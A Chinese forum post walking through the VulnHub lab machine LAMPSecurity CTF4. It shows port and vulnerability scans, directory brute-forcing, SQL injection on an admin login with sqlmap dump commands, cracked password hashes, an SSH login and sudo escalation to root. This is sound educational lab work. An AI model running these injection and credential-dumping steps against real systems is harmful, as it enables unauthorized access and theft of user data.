[vulnhub] LAMPSecurity: CTF4

伤心客  金牌会员 | 2024-9-24 01:31:24 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 682|帖子 682|积分 2046

https://www.vulnhub.com/entry/lampsecurity-ctf4,83/
端口扫描主机发现


  • 探测存活主机，138是靶机
    1. nmap -sP 192.168.75.0/24
    2. //                                    
    3. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:13 CST
    4. Nmap scan report for 192.168.75.1
    5. Host is up (0.00062s latency).
    6. MAC Address: 00:50:56:C0:00:08 (VMware)
    7. Nmap scan report for 192.168.75.2
    8. Host is up (0.00046s latency).
    9. MAC Address: 00:50:56:FB:CA:45 (VMware)
    10. Nmap scan report for 192.168.75.138
    11. Host is up (0.00020s latency).
    12. MAC Address: 00:0C:29:46:5F:67 (VMware)
    13. Nmap scan report for 192.168.75.254
    14. Host is up (0.00027s latency).
    15. MAC Address: 00:50:56:F8:B3:1A (VMware)
    16. Nmap scan report for 192.168.75.131
    17. Host is up.
    复制代码
  • 探测主机所有开放端口
    1. nmap -sT -min-rate 10000 -p- 192.168.75.138
    2. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:16 CST
    3. Nmap scan report for 192.168.75.138
    4. Host is up (0.00064s latency).
    5. Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (host-unreach)
    6. PORT    STATE  SERVICE
    7. 22/tcp  open   ssh
    8. 25/tcp  open   smtp
    9. 80/tcp  open   http
    10. 631/tcp closed ipp
    11. MAC Address: 00:0C:29:46:5F:67 (VMware)
    复制代码
  • 探测服务版本以及系统版本
    1. nmap -sT -sV -O -p22,80,25,631 192.168.75.138
    2. //
    3. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:20 CST
    4. Nmap scan report for 192.168.75.138
    5. Host is up (0.00046s latency).
    7. PORT    STATE  SERVICE VERSION
    8. 22/tcp  open   ssh     OpenSSH 4.3 (protocol 2.0)
    9. 25/tcp  open   smtp    Sendmail 8.13.5/8.13.5
    10. 80/tcp  open   http    Apache httpd 2.2.0 ((Fedora))
    11. 631/tcp closed ipp
    12. MAC Address: 00:0C:29:46:5F:67 (VMware)
    13. Device type: general purpose|remote management|terminal server|switch|proxy server|WAP
    14. Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (98%), Control4 embedded (96%), Lantronix embedded (96%), SNR embedded (95%), SonicWALL embedded (94%), Dell iDRAC 6 (94%)
    15. OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:lantronix:slc_8 cpe:/h:snr:snr-s2960 cpe:/o:sonicwall:aventail_ex-6000 cpe:/o:dell:idrac6_firmware cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1
    16. Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (98%), Linux 2.6.13 - 2.6.32 (96%), Control4 HC-300 home controller (96%), Lantronix SLC 8 terminal server (Linux 2.6) (96%), SNR SNR-S2960 switch (95%), SonicWALL Aventail EX-6000 VPN appliance (94%), Linux 2.6.8 - 2.6.30 (94%), Linux 2.6.9 - 2.6.18 (94%), Dell iDRAC 6 remote access controller (Linux 2.6) (94%), Linux 2.6.22 - 2.6.23 (94%)
    17. No exact OS matches for host (test conditions non-ideal).
    18. Network Distance: 1 hop
    19. Service Info: Host: ctf4.sas.upenn.edu; OS: Unix
    复制代码
  • 扫描漏洞
    1. nmap -script=vuln -p 22,80,25 192.168.75.138
    2. //
    3. Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:25 CST
    4. Pre-scan script results:
    5. | broadcast-avahi-dos:
    6. |   Discovered hosts:
    7. |     224.0.0.251
    8. |   After NULL UDP avahi packet DoS (CVE-2011-1002).
    9. |_  Hosts are all up (not vulnerable).
    10. // 扫描卡住不知道什么情况
    复制代码
    使用nikto扫描
    1. nikto -host 192.168.75.138 -port 22,80,25,631
    2. //
    3. - Nikto v2.5.0
    4. ---------------------------------------------------------------------------
    5. ---------------------------------------------------------------------------
    6. ---------------------------------------------------------------------------
    7. ---------------------------------------------------------------------------
    8. + Target IP:          192.168.75.138
    9. + Target Hostname:    192.168.75.138
    10. + Target Port:        80
    11. + Start Time:         2024-09-23 14:28:33 (GMT8)
    12. ---------------------------------------------------------------------------
    13. + Server: Apache/2.2.0 (Fedora)
    14. + /: Retrieved x-powered-by header: PHP/5.1.2.
    15. + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
    16. + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
    17. + /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 487720, size: 104, mtime: Wed Dec 10 07:39:44 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
    18. + /sql/: Directory indexing found.
    19. + /robots.txt: Entry '/sql/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
    20. + /robots.txt: Entry '/conf/' is returned a non-forbidden or redirect HTTP code (500). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
    21. + /robots.txt: Entry '/admin/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
    22. + /robots.txt: contains 5 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
    23. + Apache/2.2.0 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
    24. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
    25. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
    26. + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
    27. + /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0995
    28. + /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835
    29. + /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
    30. + /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
    31. + /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
    32. + /admin/: This might be interesting.
    33. + /pages/: Directory indexing found.
    34. + /pages/: This might be interesting.
    35. + /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
    36. + /mail/src/read_body.php: Cookie SQMSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
    37. + /mail/src/read_body.php: SquirrelMail found.
    38. + /icons/: Directory indexing found.
    39. + /images/: Directory indexing found.
    40. + /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1198
    41. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
    42. + /admin/login.php: Admin login page/section found.
    43. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
    44. + 9078 requests: 1 error(s) and 30 item(s) reported on remote host
    45. + End Time:           2024-09-23 14:29:18 (GMT8) (45 seconds)
    46. ---------------------------------------------------------------------------
    47. + 1 host(s) tested
    复制代码
    存在/robots.txt ，还发现了几个可能会有兴趣的目录
    优先级依然是80最大
web渗透


  • 爆破目录
    1. dirsearch -u 192.168.75.138      
    2. //              
    3. [14:43:15] 301 -  315B  - /admin  ->  http://192.168.75.138/admin/         
    4. [14:43:15] 200 -    2KB - /admin/                                          
    5. [14:43:15] 200 -   51B  - /admin/admin.php                                 
    6. [14:43:16] 200 -    2KB - /admin/index.php                                 
    7. [14:43:16] 200 -  769B  - /admin/login.php                                 
    8. [14:43:27] 301 -  318B  - /calendar  ->  http://192.168.75.138/calendar/   
    9. [14:43:27] 403 -  289B  - /cgi-bin/                                         
    10. [14:43:29] 500 -  617B  - /conf                                             
    11. [14:43:29] 500 -  617B  - /conf/                                            
    12. [14:43:29] 500 -  617B  - /conf/catalina.properties
    13. [14:43:29] 500 -  617B  - /conf/catalina.policy
    14. [14:43:29] 500 -  617B  - /conf/context.xml
    15. [14:43:29] 500 -  617B  - /conf/logging.properties
    16. [14:43:29] 500 -  617B  - /conf/tomcat-users.xml
    17. [14:43:29] 500 -  617B  - /conf/web.xml
    18. [14:43:29] 500 -  617B  - /conf/Catalina                                    
    19. [14:43:29] 500 -  617B  - /conf/server.xml                                 
    20. [14:43:29] 500 -  617B  - /conf/tomcat8.conf
    21. [14:43:35] 403 -  287B  - /error/                                          
    22. [14:43:39] 301 -  316B  - /images  ->  http://192.168.75.138/images/        
    23. [14:43:39] 200 -  905B  - /images/
    24. [14:43:40] 301 -  313B  - /inc  ->  http://192.168.75.138/inc/              
    25. [14:43:40] 200 -    1KB - /inc/                                             
    26. [14:43:44] 301 -  314B  - /mail  ->  http://192.168.75.138/mail/            
    27. [14:43:44] 302 -    0B  - /mail/  ->  src/login.php                        
    28. [14:43:50] 301 -  315B  - /pages  ->  http://192.168.75.138/pages/         
    29. [14:43:50] 200 -    1KB - /pages/                                          
    30. [14:43:57] 401 -  480B  - /restricted                                       
    31. [14:43:57] 200 -  104B  - /robots.txt                                       
    32. [14:44:01] 301 -  313B  - /sql  ->  http://192.168.75.138/sql/              
    33. [14:44:02] 200 -  868B  - /sql/                                             
    34. [14:44:08] 301 -  315B  - /usage  ->  http://192.168.75.138/usage/                                             
    复制代码
  • 访问感兴趣的目录

    • robots.txt
      1. User-agent: *
      2. Disallow: /mail/
      3. Disallow: /restricted/
      4. Disallow: /conf/
      5. Disallow: /sql/
      6. Disallow: /admin/
      复制代码
      扫描出来的目录，无意义了
    • http://192.168.75.138/mail/src/login.php  SquirreMail 的登陆页面
    • /sql/db.sql 存在一个敏感文件，是创建表的数据，对sql注入可能有帮助
      1. use ehks;
      2. create table user (user_id int not null auto_increment primary key, user_name varchar(20) not null, user_pass varchar(32) not null);
      3. create table blog (blog_id int primary key not null auto_increment, blog_title varchar(255), blog_body text, blog_date datetime not null);
      4. create table comment (comment_id int not null auto_increment primary key, comment_title varchar (50), comment_body text, comment_author varchar(50), comment_url varchar(50), comment_date datetime not null);
      复制代码
    • /restricted 进入了提示让你输入入账号密码
    • /admin 一个登陆界面，上面的sql文件应该是对应这个网站的

  • 尝试sql注入/admin ，因为db.sql 把表布局爆出来了
    burp抓包来尝试sql注入
    1. username=admin'&password=1
    2. //
    3. Problem with query:
    4. select user_id from user where user_name='admin'' AND user_pass = md5('1')
    5. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 2
    复制代码
    直接把sql语句爆出来了，继续注入，可以使用sqlmap ，将抓出来的包内容复制出来保存为post，然后使用sqlmap注入
    1. //POST 内容
    2. POST /admin/index.php HTTP/1.1
    3. Host: 192.168.75.138
    4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
    6. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    7. Accept-Encoding: gzip, deflate, br
    8. Content-Type: application/x-www-form-urlencoded
    9. Content-Length: 34
    10. Origin: http://192.168.75.138
    11. Sec-GPC: 1
    12. Connection: keep-alive
    13. Referer: http://192.168.75.138/admin/
    14. Upgrade-Insecure-Requests: 1
    15. Priority: u=0, i
    17. username=*&password=1
    复制代码
    直接  sqlmap -r post -dbs 爆出数据库名是ehks
    因为index页面写着Professor Ehks Center for Data Studies ，所以我们把他数据dump出来
    爆出用户数据，密码没爆出来
    1. sqlmap -r post -D ehks -T user --dump
    2. //
    3. user_id        user_name        user_pass
    4. 1              dstevens       
    5. 2              achen       
    6. 3              pmoore       
    7. 4              jdurbin       
    8. 5              sorzek       
    9. 6              ghighland       
    复制代码
    单独dump 密码
    1. sqlmap -r post -D ehks -T user -C user_pass --dump
    2. //
    3. +--------------------------------------------------+
    4. | user_pass                                        |
    5. +--------------------------------------------------+
    6. | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)    |
    7. | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)        |
    8. | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)       |
    9. | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)      |
    10. | 9f3eb3087298ff21843cc4e013cf355f (undone1)       |
    11. | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
    12. +--------------------------------------------------+
    复制代码
  • Blog后台和mail后台都可以登陆进去，寻找可使用点，甚至ssh

    • Blog找不到可使用点
    • mail 后台是SquirreMail1.4.17 ，存在远程代码执行漏洞，不过很麻烦先试试ssh
    • ssh登陆显示，版本太旧的原因
      1. ssh pmoore@192.168.75.138
      2. Unable to negotiate with 192.168.75.138 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
      复制代码
      指令修改为即可尝试登录
      1. ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc pmoore@192.168.75.138
      复制代码
      最后使用 dstevens 和ilike2surf 乐成登录得到shell

提权


  • 查看当前shell权限
    1. [dstevens@ctf4 ~]$ whoami
    2. dstevens
    3. [dstevens@ctf4 ~]$ dpkg -l
    4. -bash: dpkg: command not found
    5. [dstevens@ctf4 ~]$ sudo -l
    6. Password:
    7. User dstevens may run the following commands on this host:
    8.     (ALL) ALL
    复制代码
    权限是超等高的，相称于root权限
    1. [dstevens@ctf4 ~]$ sudo -i
    2. [root@ctf4 ~]#
    复制代码
    得到root权限了

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

伤心客

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

挺好的 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表